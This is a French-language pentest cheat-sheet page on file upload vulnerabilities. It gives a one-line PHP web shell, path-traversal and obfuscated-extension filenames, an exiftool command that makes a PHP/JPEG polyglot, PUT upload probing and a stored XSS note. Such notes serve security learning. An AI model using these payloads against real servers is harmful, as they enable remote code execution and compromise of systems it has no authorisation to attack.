> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/web/server/file-upload.md).

# File upload

https\://portswigger.net/web-security/file-upload

Ce type de vulnérabilité est présente quand une application autorise les utilisateurs à upload des fichiers sur le serveur sans vérifier leur nom, contenu, extension, etc. Ce problème peut mener à de nombreuses attaques dont de l'exécution de code sur le serveur.

{% hint style="success" %}
**Exemple basique d'un web shell:**

1. Créer un fichier **exploit.php** qui contient <mark style="color:blue;">`<?php echo system($_GET['command']); ?>`</mark>
2. Upload **exploit.php** sur le serveur vulnérable
3. Faire une requête <mark style="color:blue;">`GET http://serveur-vulnerable/exploit.php?command=ls`</mark>
4. La command <mark style="color:blue;">`ls`</mark> est exécutée sur le serveur
   {% endhint %}

## Bypass les mauvaises protections

La plupart du temps les applications web font des vérifications sur les fichiers uploadés pour éviter ce genre de problèmes mais certaines peuvent être contournées.

### Vérification du type de fichier

Le serveur vérifie le type du fichier avec le header <mark style="color:blue;">`Content-Type`</mark> qui spécifie les types de fichiers acceptés: <mark style="color:blue;">`image/gif`</mark> , <mark style="color:blue;">`image/jpeg`</mark>, <mark style="color:blue;">`image/png`</mark>, <mark style="color:blue;">`video/mp4`</mark> (liste des [types MIME](https://www.iana.org/assignments/media-types/media-types.xhtml)).

S'il ne vérifie pas que le contenu du fichier correspond au type MIME indiqué on peut modifier le type dans la requête avec burp.

1. <mark style="color:blue;">`Burp > Proxy > Open browser > Intercept is on`</mark>
2. Upload le fichier
3. Modifier la valeur de <mark style="color:blue;">`Content-Type`</mark> avec une valeur acceptée

### Empêcher l'exécution de scripts

Le serveur empêche les scripts de s'exécuter et affiche le code source si une requête est faite par exemple.

Il est possible que cette sécurité ne soit mise en place que dans les dossiers où un utilisateur est censé upload des fichiers. En exploitant un [Broken mention](broken://pages/k47koul8xSp6V6cnVvfU) pour upload le fichier dans un dossier non protégé, un script peut être exécuté.

{% hint style="info" %}
Les serveurs web utilisent souvent le champ <mark style="color:blue;">`filename`</mark> dans les requêtes <mark style="color:blue;">`multipart/form-data`</mark> pour déterminer le nom et l'emplacement où le fichier doit être enregistré.&#x20;

Pour savoir si le serveur est vulnérable à un path traversal, essayer de modifier la valeur de <mark style="color:blue;">`filename`</mark> dans la requête.&#x20;

Par exemple on peut modifier <mark style="color:blue;">`filename="exploit.php"`</mark> en:

* &#x20;<mark style="color:blue;">`filename="../exploit.php"`</mark>&#x20;
* &#x20;<mark style="color:blue;">`filename="%2e%2e%2fexploit.php"`</mark> (URL encoding)
  {% endhint %}

1. <mark style="color:blue;">`Burp > Proxy > Open browser > Intercept is on`</mark>
2. Upload le fichier
3. Si le serveur est vulnérable à un path traversal modifier la requête

### Vérification de l'extension du fichier

#### Blacklists

Le serveur blacklist les extensions qu'il considère dangereuses (<mark style="color:blue;">`.php`</mark>, <mark style="color:blue;">`.java`</mark>, <mark style="color:blue;">`.py`</mark>, etc.).&#x20;

Mais les blacklists ne contiennent pas toujours toutes les extensions dangereuses exécutables notamment les moins connues (<mark style="color:blue;">`.php5`</mark> ou <mark style="color:blue;">`.shtml`</mark> par exemple).

#### Obfusquer l'extension

1. Case sensitive ? <mark style="color:blue;">`exploit.pHp`</mark>, <mark style="color:blue;">`exploit.PHP`</mark>, <mark style="color:blue;">`exploit.pY`</mark>, etc.
2. En fonction du parsing ce fichier peut être considéré comme <mark style="color:blue;">`png`</mark> ou <mark style="color:blue;">`php`</mark>: <mark style="color:blue;">`exploit.php.png`</mark>
3. Ajouter des caractères spéciaux à la fin (espace, points, etc.): <mark style="color:blue;">`exploit.php.`</mark>, <mark style="color:blue;">`exploit.php`</mark>&#x20;
4. URL encoding sur le point: <mark style="color:blue;">`exploit%2ephp`</mark>
5. Null byte: <mark style="color:blue;">`exploit.php%00.png`</mark> ou point virgule: <mark style="color:blue;">`exploit.php;.png`</mark>
6. Imbriquer les extensions: <mark style="color:blue;">`exploit.p.phphp`</mark>, <mark style="color:blue;">`exploit.p.pyy`</mark>
   * si le serveur supprime non récursivement <mark style="color:blue;">`.php`</mark> il reste <mark style="color:blue;">`.php`</mark>
   * si le serveur supprime non récursivement <mark style="color:blue;">`.py`</mark> il reste <mark style="color:blue;">`.py`</mark>

### Vérification du contenu du fichier

Le serveur vérifie les headers du fichier (un <mark style="color:blue;">`jpeg`</mark> commence toujours par <mark style="color:blue;">`FF D8 FF`</mark> et se termine par <mark style="color:blue;">`FF D9`</mark>) pour s'assurer que son contenu match le type MIME. Voir la [liste d'exemple](https://en.wikipedia.org/wiki/Magic_number_\(programming\)#In_files) des bytes standards pour différents formats.

Avec des outils comme [ExifTool](https://exiftool.org/) on peut créer un fichier **polyglotte** dont les metadata correspondent par exemple à une image avec du code en commentaire.

<mark style="color:blue;">`exiftool -comment="<?php code ici ?>" <input-image>.jpg -o polyglot.php`</mark>

Le résultat est un fichier <mark style="color:blue;">`.php`</mark> avec les metadata de <mark style="color:blue;">`<input-image>.jpg`</mark> et du code en commentaire qui sera peut être exécuté sur le serveur.

### Si rien ne marche

Certains serveur supportent les requêtes <mark style="color:blue;">`PUT`</mark>. Essayer des requêtes même sans interface d'upload.

<mark style="color:blue;">`PUT /images/exploit.php`</mark>&#x20;

{% hint style="success" %}
Pour voir les requêtes supportées par un endpoint:&#x20;

```sh
curl -X OPTIONS https://example.org -i
```

Réponse:

```sh
HTTP/1.1 204 No Content
Allow: OPTIONS, GET, HEAD, POST
[...]
```

{% endhint %}

## Autres

En uploadant un fichier <mark style="color:blue;">`html`</mark> avec des balises <mark style="color:blue;">`<script>`</mark> on peut dans certains cas exploiter une XSS stockée.
